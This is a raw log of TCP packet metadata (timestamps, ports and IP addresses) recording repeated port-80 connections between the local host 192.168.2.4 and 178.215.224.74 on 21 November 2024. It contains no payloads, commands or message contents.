Nov 21, 2024 20:02:16.919843912 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.919881105 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.920429945 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.920442104 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.920489073 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.921238899 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.921248913 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.921283007 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.922099113 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.922187090 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.922225952 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.922879934 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.922960997 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.922992945 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.923677921 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.923795938 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.923832893 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.924503088 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.924576044 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.924607992 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.925318003 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.925405979 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.925446987 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.926141977 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.926153898 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.926192999 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.927118063 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.927133083 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.927185059 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.927758932 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.927845001 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.927884102 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.928627014 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.928741932 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.928778887 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.929415941 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.929533958 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.929636002 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.930205107 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.930305004 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.930345058 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.931052923 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.931063890 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.931107998 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.931843042 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.931935072 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.931969881 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.932771921 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.932876110 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.932910919 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.933480978 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.933577061 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.933617115 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.934267044 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.934377909 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.934415102 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.935128927 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.935161114 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.935194969 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.936002016 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.936084986 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.936130047 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.936747074 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.936837912 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:16.936877966 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:16.937110901 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:17.123663902 CET	80	50067	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:17.123862028 CET	50067	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:17.215536118 CET	80	50068	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:17.217936993 CET	50068	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:17.340205908 CET	80	50068	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:17.340351105 CET	50068	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:17.925529957 CET	50069	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:18.040983915 CET	50070	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:18.104645967 CET	80	50069	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:18.104810953 CET	50069	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:18.105129004 CET	50069	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:18.160980940 CET	80	50070	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:18.161122084 CET	50070	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:18.161283016 CET	50070	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:18.224809885 CET	80	50069	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:18.283626080 CET	80	50070	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:19.431052923 CET	80	50069	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:19.431646109 CET	50069	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:19.483735085 CET	80	50070	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:19.485172987 CET	50070	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:19.531999111 CET	50071	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:19.555675983 CET	80	50069	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:19.555754900 CET	50069	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:19.606347084 CET	80	50070	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:19.606437922 CET	50070	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:19.651772976 CET	80	50071	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:19.651946068 CET	50071	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:19.657141924 CET	50071	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:19.776894093 CET	80	50071	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:20.537322998 CET	50072	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:20.657218933 CET	80	50072	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:20.657301903 CET	50072	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:20.657553911 CET	50072	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:20.777272940 CET	80	50072	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:20.989624977 CET	80	50071	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:20.989748955 CET	50071	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:21.111444950 CET	50073	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:21.232743979 CET	80	50073	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:21.232954025 CET	50073	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:21.233371019 CET	50073	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:21.353815079 CET	80	50073	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:22.030884981 CET	80	50072	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:22.032632113 CET	50072	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.117845058 CET	50074	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.152532101 CET	80	50072	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:22.152712107 CET	50072	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.237382889 CET	80	50074	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:22.237462997 CET	50074	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.237582922 CET	50074	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.357147932 CET	80	50074	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:22.497236967 CET	80	50073	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:22.498723984 CET	50073	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.576618910 CET	50075	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.620160103 CET	80	50073	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:22.620403051 CET	50073	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.696640015 CET	80	50075	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:22.696793079 CET	50075	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.696929932 CET	50075	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:22.816896915 CET	80	50075	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:23.593422890 CET	80	50074	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:23.594122887 CET	50074	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:23.714381933 CET	80	50074	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:23.714453936 CET	50074	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:23.944788933 CET	50005	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:24.028208971 CET	80	50075	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:24.028827906 CET	50075	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:24.065922022 CET	80	50005	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:24.142070055 CET	50076	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:24.149934053 CET	80	50075	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:24.150022984 CET	50075	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:24.190975904 CET	50077	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:24.266998053 CET	80	50076	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:24.267151117 CET	50076	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:24.267383099 CET	50076	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:24.315606117 CET	80	50077	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:24.315747976 CET	50077	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:24.315921068 CET	50077	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:24.386789083 CET	80	50076	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:24.435389042 CET	80	50077	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:25.579082012 CET	80	50077	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:25.579745054 CET	50077	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:25.600330114 CET	80	50076	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:25.600958109 CET	50076	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:25.699860096 CET	80	50077	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:25.700027943 CET	50077	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:25.721973896 CET	80	50076	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:25.722115993 CET	50076	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:25.933525085 CET	50078	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:25.941996098 CET	50079	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:25.991621971 CET	80	50071	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:25.991758108 CET	50071	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:26.053057909 CET	80	50078	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:26.054362059 CET	50078	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:26.054496050 CET	50078	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:26.061506987 CET	80	50079	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:26.062311888 CET	50079	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:26.062470913 CET	50079	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:26.180663109 CET	80	50078	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:26.188724041 CET	80	50079	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:27.371377945 CET	80	50079	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:27.371922970 CET	50079	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:27.427364111 CET	80	50078	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:27.427772045 CET	50078	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:27.491861105 CET	80	50079	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:27.491966963 CET	50079	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:27.549366951 CET	80	50078	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:27.549496889 CET	50078	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:27.576709032 CET	50080	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:27.696933031 CET	80	50080	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:27.697002888 CET	50080	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:27.697149992 CET	50080	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:27.816625118 CET	80	50080	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:27.882652044 CET	50081	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:28.002381086 CET	80	50081	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:28.002459049 CET	50081	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:28.002587080 CET	50081	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:28.122219086 CET	80	50081	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.023269892 CET	80	50080	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.024647951 CET	50080	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:29.034234047 CET	50071	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:29.034404993 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:29.198664904 CET	80	50071	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.198708057 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.198812962 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:29.198878050 CET	80	50080	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.198939085 CET	50080	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:29.198939085 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:29.199002028 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:29.314779997 CET	80	50081	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.315479994 CET	50081	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:29.323617935 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.323635101 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.323646069 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.323745966 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.323755980 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.323889017 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.323898077 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.324016094 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.442882061 CET	80	50081	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:29.442981005 CET	50081	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:30.073793888 CET	50083	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:30.193422079 CET	80	50083	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:30.193516970 CET	50083	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:30.193702936 CET	50083	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:30.313209057 CET	80	50083	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:30.513305902 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:30.513444901 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:30.611207962 CET	50084	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:30.732131958 CET	80	50084	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:30.732224941 CET	50084	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:30.732347012 CET	50084	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:30.852020979 CET	80	50084	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:31.552397013 CET	80	50083	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:31.555124998 CET	50083	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:31.675435066 CET	80	50083	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:31.675543070 CET	50083	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:31.994302034 CET	80	50084	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:31.994790077 CET	50084	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.047432899 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.047487974 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.114675045 CET	80	50084	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:32.114764929 CET	50084	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.167072058 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:32.167088032 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:32.167149067 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:32.198656082 CET	50085	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.318762064 CET	80	50085	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:32.318897009 CET	50085	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.319092989 CET	50085	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.441421032 CET	80	50085	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:32.480151892 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:32.480263948 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.568372965 CET	50086	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.689259052 CET	80	50086	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:32.689341068 CET	50086	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.689687014 CET	50086	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:32.809173107 CET	80	50086	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:33.591794968 CET	80	50085	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:33.594846964 CET	50085	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:33.701011896 CET	50087	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:33.715946913 CET	80	50085	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:33.716012955 CET	50085	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:33.821382046 CET	80	50087	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:33.821995974 CET	50087	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:33.822293043 CET	50087	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:33.941694975 CET	80	50087	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:34.010883093 CET	80	50086	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:34.011486053 CET	50086	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:34.031821966 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:34.031888962 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:34.134278059 CET	80	50086	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:34.134398937 CET	50086	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:34.152075052 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:34.152106047 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:34.152141094 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:34.468791008 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:34.468868017 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:34.765084028 CET	50088	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:34.884704113 CET	80	50088	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:34.885121107 CET	50088	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:34.885240078 CET	50088	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:35.004805088 CET	80	50088	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:35.180377007 CET	80	50087	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:35.180953026 CET	50087	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:35.301052094 CET	80	50087	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:35.301276922 CET	50087	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:35.673000097 CET	50089	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:35.799422026 CET	80	50089	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:35.799655914 CET	50089	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:35.799936056 CET	50089	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:35.922852993 CET	80	50089	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:36.151442051 CET	80	50088	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:36.152040958 CET	50088	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:36.265197992 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:36.272274017 CET	80	50088	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:36.272383928 CET	50088	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:36.386250019 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:36.688836098 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:36.688970089 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:37.117151022 CET	80	50089	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:37.117618084 CET	50089	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:37.238085985 CET	80	50089	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:37.238168001 CET	50089	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:37.451088905 CET	50090	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:37.463884115 CET	50091	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:37.570851088 CET	80	50090	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:37.571038008 CET	50090	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:37.571372032 CET	50090	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:37.583722115 CET	80	50091	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:37.583848953 CET	50091	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:37.584041119 CET	50091	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:37.811614990 CET	80	50090	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:37.811644077 CET	80	50091	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:38.908029079 CET	80	50091	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:38.908683062 CET	50091	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:38.912961960 CET	80	50090	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:38.913371086 CET	50090	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:38.918868065 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:38.918972969 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:39.028702021 CET	80	50091	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.028929949 CET	50091	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:39.033570051 CET	80	50090	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.033662081 CET	50090	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:39.038531065 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.038619995 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:39.038718939 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.038784027 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:39.038821936 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.038877964 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.038881063 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:39.038945913 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.038978100 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039103031 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039135933 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039288998 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039338112 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039530993 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039558887 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039630890 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039683104 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039783001 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039809942 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.039969921 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.040019989 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.081516027 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.158452988 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.158679008 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.158751965 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.500746965 CET	80	50082	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.500840902 CET	50082	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:39.860248089 CET	50092	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:39.983144045 CET	80	50092	178.215.224.74	192.168.2.4
Nov 21, 2024 20:02:39.983243942 CET	50092	80	192.168.2.4	178.215.224.74
Nov 21, 2024 20:02:39.983726025 CET	50092	80	192.168.2.4	178.215.224.74
